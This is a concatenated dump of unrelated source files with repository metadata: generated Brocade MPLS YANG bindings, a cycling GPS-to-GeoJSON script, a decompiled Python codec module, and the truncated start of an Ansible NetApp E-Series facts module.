path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_has_node_protection(self): """ Getter method for lsp_hop_has_node_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_node_protection (boolean) YANG Description: RRO hop Node Protection available """ return self.__lsp_hop_has_node_protection def _set_lsp_hop_has_node_protection(self, v, load=False): """ Setter method for lsp_hop_has_node_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_node_protection (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_has_node_protection is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_has_node_protection() directly. YANG Description: RRO hop Node Protection available """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-node-protection", rest_name="lsp-hop-has-node-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_has_node_protection must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-node-protection", rest_name="lsp-hop-has-node-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_has_node_protection = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_has_node_protection(self): self.__lsp_hop_has_node_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-node-protection", rest_name="lsp-hop-has-node-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_has_bandwidth_protection(self): """ Getter method for lsp_hop_has_bandwidth_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_bandwidth_protection (boolean) YANG Description: RRO hop bandwidth Protection available """ return self.__lsp_hop_has_bandwidth_protection def _set_lsp_hop_has_bandwidth_protection(self, v, load=False): """ Setter method for lsp_hop_has_bandwidth_protection, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_bandwidth_protection (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_has_bandwidth_protection is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_has_bandwidth_protection() directly. YANG Description: RRO hop bandwidth Protection available """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-bandwidth-protection", rest_name="lsp-hop-has-bandwidth-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_has_bandwidth_protection must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-bandwidth-protection", rest_name="lsp-hop-has-bandwidth-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_has_bandwidth_protection = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_has_bandwidth_protection(self): self.__lsp_hop_has_bandwidth_protection = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-bandwidth-protection", rest_name="lsp-hop-has-bandwidth-protection", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_has_protection_in_use(self): """ Getter method for lsp_hop_has_protection_in_use, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_protection_in_use (boolean) YANG Description: RRO hop protection is in use """ return self.__lsp_hop_has_protection_in_use def _set_lsp_hop_has_protection_in_use(self, v, load=False): """ Setter method for lsp_hop_has_protection_in_use, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_has_protection_in_use (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_has_protection_in_use is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_has_protection_in_use() directly. YANG Description: RRO hop protection is in use """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection-in-use", rest_name="lsp-hop-has-protection-in-use", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_has_protection_in_use must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection-in-use", rest_name="lsp-hop-has-protection-in-use", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_has_protection_in_use = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_has_protection_in_use(self): self.__lsp_hop_has_protection_in_use = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-has-protection-in-use", rest_name="lsp-hop-has-protection-in-use", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_avoid_node(self): """ Getter method for lsp_hop_avoid_node, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_node (boolean) YANG Description: Avoid address type is node """ return self.__lsp_hop_avoid_node def _set_lsp_hop_avoid_node(self, v, load=False): """ Setter method for lsp_hop_avoid_node, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_node (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_avoid_node is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_avoid_node() directly. YANG Description: Avoid address type is node """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-node", rest_name="lsp-hop-avoid-node", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_avoid_node must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-node", rest_name="lsp-hop-avoid-node", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_avoid_node = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_avoid_node(self): self.__lsp_hop_avoid_node = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-node", rest_name="lsp-hop-avoid-node", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_avoid_local(self): """ Getter method for lsp_hop_avoid_local, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_local (boolean) YANG Description: Avoid address type is local """ return self.__lsp_hop_avoid_local def _set_lsp_hop_avoid_local(self, v, load=False): """ Setter method for lsp_hop_avoid_local, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_local (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_avoid_local is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_avoid_local() directly. YANG Description: Avoid address type is local """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-local", rest_name="lsp-hop-avoid-local", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_avoid_local must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-local", rest_name="lsp-hop-avoid-local", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_avoid_local = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_avoid_local(self): self.__lsp_hop_avoid_local = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-local", rest_name="lsp-hop-avoid-local", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) def _get_lsp_hop_avoid_remote(self): """ Getter method for lsp_hop_avoid_remote, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_remote (boolean) YANG Description: Avoid address type is remote """ return self.__lsp_hop_avoid_remote def _set_lsp_hop_avoid_remote(self, v, load=False): """ Setter method for lsp_hop_avoid_remote, mapped from YANG variable /brocade_mpls_rpc/show_mpls_lsp_name_detail/output/lsp/show_mpls_lsp_detail_info/show_mpls_lsp_instances_info/lsp_instances/lsp_rsvp_session_rro_hops/show_mpls_lsp_hop_list/hop/lsp_hop_avoid_remote (boolean) If this variable is read-only (config: false) in the source YANG file, then _set_lsp_hop_avoid_remote is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_lsp_hop_avoid_remote() directly. YANG Description: Avoid address type is remote """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-remote", rest_name="lsp-hop-avoid-remote", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """lsp_hop_avoid_remote must be of a type compatible with boolean""", 'defined-type': "boolean", 'generated-type': """YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-remote", rest_name="lsp-hop-avoid-remote", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True)""", }) self.__lsp_hop_avoid_remote = t if hasattr(self, '_set'): self._set() def _unset_lsp_hop_avoid_remote(self): self.__lsp_hop_avoid_remote = YANGDynClass(base=YANGBool, is_leaf=True, yang_name="lsp-hop-avoid-remote", rest_name="lsp-hop-avoid-remote", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=False, namespace='urn:brocade.com:mgmt:brocade-mpls', defining_module='brocade-mpls', yang_type='boolean', is_config=True) lsp_hop_address = __builtin__.property(_get_lsp_hop_address, _set_lsp_hop_address) lsp_hop_strict_hop = __builtin__.property(_get_lsp_hop_strict_hop, _set_lsp_hop_strict_hop) lsp_hop_loose_hop = __builtin__.property(_get_lsp_hop_loose_hop, _set_lsp_hop_loose_hop) lsp_hop_is_router_id = __builtin__.property(_get_lsp_hop_is_router_id, _set_lsp_hop_is_router_id) lsp_hop_has_protection = __builtin__.property(_get_lsp_hop_has_protection, _set_lsp_hop_has_protection) lsp_hop_has_node_protection = __builtin__.property(_get_lsp_hop_has_node_protection, _set_lsp_hop_has_node_protection) lsp_hop_has_bandwidth_protection = __builtin__.property(_get_lsp_hop_has_bandwidth_protection, _set_lsp_hop_has_bandwidth_protection) lsp_hop_has_protection_in_use = __builtin__.property(_get_lsp_hop_has_protection_in_use, _set_lsp_hop_has_protection_in_use) lsp_hop_avoid_node = __builtin__.property(_get_lsp_hop_avoid_node, _set_lsp_hop_avoid_node) lsp_hop_avoid_local = __builtin__.property(_get_lsp_hop_avoid_local, _set_lsp_hop_avoid_local) lsp_hop_avoid_remote = __builtin__.property(_get_lsp_hop_avoid_remote, _set_lsp_hop_avoid_remote) _pyangbind_elements = {'lsp_hop_address': lsp_hop_address, 'lsp_hop_strict_hop': lsp_hop_strict_hop, 'lsp_hop_loose_hop': lsp_hop_loose_hop, 'lsp_hop_is_router_id': lsp_hop_is_router_id, 'lsp_hop_has_protection': lsp_hop_has_protection, 'lsp_hop_has_node_protection': lsp_hop_has_node_protection, 'lsp_hop_has_bandwidth_protection': lsp_hop_has_bandwidth_protection, 'lsp_hop_has_protection_in_use': lsp_hop_has_protection_in_use, 'lsp_hop_avoid_node': lsp_hop_avoid_node, 'lsp_hop_avoid_local': lsp_hop_avoid_local, 'lsp_hop_avoid_remote': lsp_hop_avoid_remote, }
6fae34308cd664decc0ad86974d5ad045c8d9d68
7af5288111965b8bbcdfcd21fcf9db1f2e886741
/point_to_path_measurement.py
742e4e4ebcc00750b26d9257ebc1950227237cc5
[]
no_license
GeoTecINIT/CyclingPathAnalysis
fc65b506da5f9365ed1fa7595fa3e16a3e54c581
fb54af19b6dd217ffd224b4ec87e18ab8045c35e
refs/heads/master
2020-03-14T02:39:14.968754
2018-04-27T17:11:56
2018-04-27T17:11:56
131,403,393
1
0
null
null
null
null
UTF-8
Python
false
false
7,722
py
""" This script allow us to convert a list of coordinates into a string geometry It does not consider the information of trips It just considers location, distance and time Author: Diego Pajarito """ import datetime import data_setup as data import geojson from LatLon import LatLon, Latitude, Longitude from geojson import FeatureCollection, Feature, LineString import pandas as pd location = data.getLocation() measurement = data.getMeasurement() def build_feature(ftr_geometry, ftr_properties): ftr = Feature(properties=ftr_properties, geometry=ftr_geometry) if ftr.is_valid: return ftr else: print(ftr) return False def get_start_stop_linestring(point): tp = [] tp.append(point) tp.append(point) return LineString(tp) def get_generic_linestring(): pt = (0, 0) pt1 = (0.0001, 0.001) return LineString([pt, pt1]) def build_trip_feature(properties, points): linestring = LineString(points) if linestring.is_valid: feature = build_feature(linestring, properties) else: if len(points) == 1: ls = LineString(get_start_stop_linestring(points[0])) feature = build_feature(ls, properties) print ("trip with only one point: " + str(properties)) else: ls = LineString(get_generic_linestring()) feature = build_feature(ls, properties) print ("Trip with empty Linestring: " + str(properties)) return feature def build_segment_feature(properties, start_point, end_point): ls = LineString([start_point, end_point]) if ls.is_valid: feature = build_feature(ls, properties) else: ls = LineString(get_generic_linestring()) feature = build_feature(ls, properties) print ("Segment with empty Linestring: " + str(properties)) return feature def get_distance(point1, point2): point1_coordinates = LatLon(Latitude(point1[1]), Longitude(point1[0])) point2_coordinates = LatLon(Latitude(point2[1]), Longitude(point2[0])) distance = point1_coordinates.distance(point2_coordinates) return distance * 1000 def get_last_speed(device, time): values = measurement[measurement.measurement == 'speed'] values = values[values.device == device] values = values[values.time_device < time] if values.size > 1: values_sort = values.sort_values('time_device', ascending=False) value = values_sort['value'].iloc[0] * 3.6 else: value = -1 return value def get_last_distance_a(device, time): values = measurement[measurement.measurement == 'distance'] values = values[values.device == device] values = values[values.time_device < time] if values.size > 1: values_sort = values.sort_values('time_device', ascending=False) value = values_sort['value'].iloc[0] else: value = -1 return value def get_last_distance_b(device, time): values = measurement[measurement.measurement == 'last_distance'] values = values[values.device == device] values = values[values.time_device < time] if values.size > 1: values_sort = values.sort_values('time_device', ascending=False) value = values_sort['value'].iloc[0] else: value = -1 return value def main(): trip_points = [] feature_segments = [] feature_trips = [] new_trip = True trip_count = 0 location_sort = location.sort_values(['device', 'time_gps']) for i, row in location_sort.iterrows(): lat = location['latitude'][i] lon = location['longitude'][i] alt = location['altitude'][i] device = location['device'][i] precision = location['precision'][i] timestamp = pd.to_datetime(location_sort['time_gps'][i]) point = (lon, lat, alt) if new_trip: new_trip = False segment_count = 1 trip_count = trip_count + 1 trip_points.append(point) segment_start = timestamp trip_start = timestamp last_point = point last_device = device last_timestamp = timestamp else: distance = get_distance(last_point, point) time_difference_min = pd.Timedelta(timestamp - last_timestamp).total_seconds() / 60 if distance > 500 or time_difference_min > 5 or last_device != device: properties_trip = {'device': last_device, 'start_time': str(trip_start), 'end_time': str(last_timestamp), 'trip_count': trip_count, 'point_count': len(trip_points)} feature_trip = build_trip_feature(properties_trip, trip_points) if feature_trip: feature_trips.append(feature_trip) trip_count = trip_count + 1 trip_start = timestamp trip_points = [point] segment_start = timestamp segment_count = 1 last_point = point last_device = device last_timestamp = timestamp else: last_distance_a = get_last_distance_a(device, location_sort['time_gps'][i]) last_distance_b = get_last_distance_b(device, location_sort['time_gps'][i]) last_speed = get_last_speed(device, location_sort['time_gps'][i]) if time_difference_min == 0: speed_geometry = 0 else: speed_geometry = (distance / 1000) / (time_difference_min / 60) # get last distance properties_segment = {'device': device, 'start_time': str(segment_start), 'end_time': str(timestamp), 'segment_count': segment_count, 'distance_geometry': distance, 'last_distance_a': last_distance_a, 'last_distance_b': last_distance_b, 'speed_geometry': speed_geometry, 'last_speed': last_speed, 'precision_end': precision, 'trip_count': trip_count} feature_segment = build_segment_feature(properties_segment, last_point, point) if feature_segment: feature_segments.append(feature_segment) trip_points.append(point) segment_start = timestamp segment_count = segment_count + 1 last_point = point last_device = device last_timestamp = timestamp # last point to build a trip properties_trip = {'device': last_device, 'start_time': str(trip_start), 'end_time': str(last_timestamp), 'trip_count': trip_count, 'point_count': len(trip_points)} feature_trip = build_trip_feature(properties_trip, trip_points) if feature_trip: feature_trips.append(feature_trip) feature_collection_trips = FeatureCollection(feature_trips) print("Trips Feature collection is valid: " + str(feature_collection_trips.is_valid)) with open('./output/trips_raw.geojson', 'w') as outfile: geojson.dump(feature_collection_trips, outfile) feature_collection_segments = FeatureCollection(feature_segments) print("Segments Feature collection is valid: " + str(feature_collection_segments.is_valid)) with open('./output/segments_raw.geojson', 'w') as outfile: geojson.dump(feature_collection_segments, outfile) print("Processed %d points, finished at %s" % {location.size, str(datetime.datetime.now().time())}) if __name__ == "__main__": print ("Processing started at %s" % str(datetime.datetime.now().time())) main()
77160378e0aff096aa646eaca4addb171b24a317
59de7788673ade984b9c9fbc33664a7cbdba67d3
/res_bw/scripts/common/lib/encodings/hz.py
fc3d801e512648fcedb54a7c040b1b2914c9941b
[]
no_license
webiumsk/WOT-0.9.15-CT
3fa24ab37a6c91b7073034afb2f355efa5b7fe36
fbd194fbaa6bdece51c7a68fc35bbb5257948341
refs/heads/master
2020-12-24T21:27:23.175774
2016-05-01T13:47:44
2016-05-01T13:47:44
57,600,180
0
0
null
null
null
null
WINDOWS-1250
Python
false
false
1,131
py
# 2016.05.01 15:29:55 Střední Evropa (letní čas) # Embedded file name: scripts/common/Lib/encodings/hz.py import _codecs_cn, codecs import _multibytecodec as mbc codec = _codecs_cn.getcodec('hz') class Codec(codecs.Codec): encode = codec.encode decode = codec.decode class IncrementalEncoder(mbc.MultibyteIncrementalEncoder, codecs.IncrementalEncoder): codec = codec class IncrementalDecoder(mbc.MultibyteIncrementalDecoder, codecs.IncrementalDecoder): codec = codec class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader): codec = codec class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter): codec = codec def getregentry(): return codecs.CodecInfo(name='hz', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamreader=StreamReader, streamwriter=StreamWriter) # okay decompyling c:\Users\PC\wotsources\files\originals\res_bw\scripts\common\lib\encodings\hz.pyc # decompiled 1 files: 1 okay, 0 failed, 0 verify failed # 2016.05.01 15:29:55 Střední Evropa (letní čas)
b5d2e30fd0fca25810593302a2d6220183c9a7f6
26bd175ffb3bd204db5bcb70eec2e3dfd55fbe9f
/exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/netapp_e_facts.py
3be087a3abae3dc321f1d89f31e54067f0ed841f
[ "MIT", "GPL-3.0-only", "GPL-3.0-or-later", "CC0-1.0", "GPL-1.0-or-later" ]
permissive
tr3ck3r/linklight
37814ed19173d893cdff161355d70a1cf538239b
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
refs/heads/master
2021-04-11T04:33:02.727318
2020-03-25T17:38:41
2020-03-25T17:38:41
248,992,437
0
0
MIT
2020-03-21T14:26:25
2020-03-21T14:26:25
null
UTF-8
Python
false
false
27,071
py
#!/usr/bin/python # (c) 2016, NetApp, Inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' module: netapp_e_facts short_description: NetApp E-Series retrieve facts about NetApp E-Series storage arrays description: - The netapp_e_facts module returns a collection of facts regarding NetApp E-Series storage arrays. author: - Kevin Hulquest (@hulquest) - Nathan Swartz (@ndswartz) extends_documentation_fragment: - netapp.ontap.netapp.eseries ''' EXAMPLES = """ --- - name: Get array facts netapp_e_facts: ssid: "1" api_url: "https://192.168.1.100:8443/devmgr/v2" api_username: "admin" api_password: "adminpass" validate_certs: true """ RETURN = """ msg: description: Success message returned: on success type: str sample: - Gathered facts for storage array. Array ID [1]. - Gathered facts for web services proxy. storage_array_facts: description: provides details about the array, controllers, management interfaces, hostside interfaces, driveside interfaces, disks, storage pools, volumes, snapshots, and features. returned: on successful inquiry from from embedded web services rest api type: complex contains: netapp_controllers: description: storage array controller list that contains basic controller identification and status type: complex sample: - [{"name": "A", "serial": "021632007299", "status": "optimal"}, {"name": "B", "serial": "021632007300", "status": "failed"}] netapp_disks: description: drive list that contains identification, type, and status information for each drive type: complex sample: - [{"available": false, "firmware_version": "MS02", "id": "01000000500003960C8B67880000000000000000", "media_type": "ssd", "product_id": "PX02SMU080 ", "serial_number": "15R0A08LT2BA", "status": "optimal", "tray_ref": "0E00000000000000000000000000000000000000", "usable_bytes": "799629205504" }] netapp_driveside_interfaces: description: drive side interface list that contains identification, type, and speed for each interface type: complex sample: - [{ "controller": "A", "interface_speed": "12g", "interface_type": "sas" }] - [{ "controller": "B", "interface_speed": "10g", "interface_type": "iscsi" }] netapp_enabled_features: description: specifies the enabled features on the storage array. returned: on success type: complex sample: - [ "flashReadCache", "performanceTier", "protectionInformation", "secureVolume" ] netapp_host_groups: description: specifies the host groups on the storage arrays. returned: on success type: complex sample: - [{ "id": "85000000600A098000A4B28D003610705C40B964", "name": "group1" }] netapp_hosts: description: specifies the hosts on the storage arrays. returned: on success type: complex sample: - [{ "id": "8203800000000000000000000000000000000000", "name": "host1", "group_id": "85000000600A098000A4B28D003610705C40B964", "host_type_index": 28, "ports": [{ "type": "fc", "address": "1000FF7CFFFFFF01", "label": "FC_1" }, { "type": "fc", "address": "1000FF7CFFFFFF00", "label": "FC_2" }]}] netapp_host_types: description: lists the available host types on the storage array. returned: on success type: complex sample: - [{ "index": 0, "type": "FactoryDefault" }, { "index": 1, "type": "W2KNETNCL"}, { "index": 2, "type": "SOL" }, { "index": 5, "type": "AVT_4M" }, { "index": 6, "type": "LNX" }, { "index": 7, "type": "LnxALUA" }, { "index": 8, "type": "W2KNETCL" }, { "index": 9, "type": "AIX MPIO" }, { "index": 10, "type": "VmwTPGSALUA" }, { "index": 15, "type": "HPXTPGS" }, { "index": 17, "type": "SolTPGSALUA" }, { "index": 18, "type": "SVC" }, { "index": 22, "type": "MacTPGSALUA" }, { "index": 23, "type": "WinTPGSALUA" }, { "index": 24, "type": "LnxTPGSALUA" }, { "index": 25, "type": "LnxTPGSALUA_PM" }, { "index": 26, "type": "ONTAP_ALUA" }, { "index": 27, "type": "LnxTPGSALUA_SF" }, { "index": 28, "type": "LnxDHALUA" }, { "index": 29, "type": "ATTOClusterAllOS" }] netapp_hostside_interfaces: description: host side interface list that contains identification, configuration, type, speed, and status information for each interface type: complex sample: - [{"iscsi": [{ "controller": "A", "current_interface_speed": "10g", "ipv4_address": "10.10.10.1", "ipv4_enabled": true, "ipv4_gateway": "10.10.10.1", "ipv4_subnet_mask": "255.255.255.0", "ipv6_enabled": false, "iqn": "iqn.1996-03.com.netapp:2806.600a098000a81b6d0000000059d60c76", "link_status": "up", "mtu": 9000, "supported_interface_speeds": [ "10g" ] }]}] netapp_management_interfaces: description: management interface list that contains identification, configuration, and status for each interface type: complex sample: - [{"alias": "ict-2800-A", "channel": 1, "controller": "A", "dns_config_method": "dhcp", "dns_servers": [], "ipv4_address": "10.1.1.1", "ipv4_address_config_method": "static", "ipv4_enabled": true, "ipv4_gateway": "10.113.1.1", "ipv4_subnet_mask": "255.255.255.0", "ipv6_enabled": false, "link_status": "up", "mac_address": "00A098A81B5D", "name": "wan0", "ntp_config_method": "disabled", "ntp_servers": [], "remote_ssh_access": false }] netapp_storage_array: description: provides storage array identification, firmware version, and available capabilities type: dict sample: - {"chassis_serial": "021540006043", "firmware": "08.40.00.01", "name": "ict-2800-11_40", "wwn": "600A098000A81B5D0000000059D60C76", "cacheBlockSizes": [4096, 8192, 16384, 32768], "supportedSegSizes": [8192, 16384, 32768, 65536, 131072, 262144, 524288]} netapp_storage_pools: description: storage pool list that contains identification and capacity information for each pool type: complex sample: - [{"available_capacity": "3490353782784", "id": "04000000600A098000A81B5D000002B45A953A61", "name": "Raid6", "total_capacity": "5399466745856", "used_capacity": "1909112963072" }] netapp_volumes: description: storage volume list that contains identification and capacity information for each volume type: complex sample: - [{"capacity": "5368709120", "id": "02000000600A098000AAC0C3000002C45A952BAA", "is_thin_provisioned": false, "name": "5G", "parent_storage_pool_id": "04000000600A098000A81B5D000002B45A953A61" }] netapp_workload_tags: description: workload tag list type: complex sample: - [{"id": "87e19568-43fb-4d8d-99ea-2811daaa2b38", "name": "ftp_server", "workloadAttributes": [{"key": "use", "value": "general"}]}] netapp_volumes_by_initiators: description: list of available volumes keyed by the mapped initiators. type: complex sample: - {"192_168_1_1": [{"id": "02000000600A098000A4B9D1000015FD5C8F7F9E", "meta_data": {"filetype": "xfs", "public": true}, "name": "some_volume", "workload_name": "test2_volumes", "wwn": "600A098000A4B9D1000015FD5C8F7F9E"}]} snapshot_images: description: snapshot image list that contains identification, capacity, and status information for each snapshot image type: complex sample: - [{"active_cow": true, "creation_method": "user", "id": "34000000600A098000A81B5D00630A965B0535AC", "pit_capacity": "5368709120", "reposity_cap_utilization": "0", "rollback_source": false, "status": "optimal" }] """ from re import match from pprint import pformat from ansible_collections.netapp.ontap.plugins.module_utils.netapp import NetAppESeriesModule class Facts(NetAppESeriesModule): def __init__(self): web_services_version = "02.00.0000.0000" super(Facts, self).__init__(ansible_options={}, web_services_version=web_services_version, supports_check_mode=True) def get_controllers(self): """Retrieve a mapping of controller references to their labels.""" controllers = list() try: rc, controllers = self.request('storage-systems/%s/graph/xpath-filter?query=/controller/id' % self.ssid) except Exception as err: self.module.fail_json( msg="Failed to retrieve controller list! Array Id [%s]. Error [%s]." % (self.ssid, str(err))) controllers.sort() 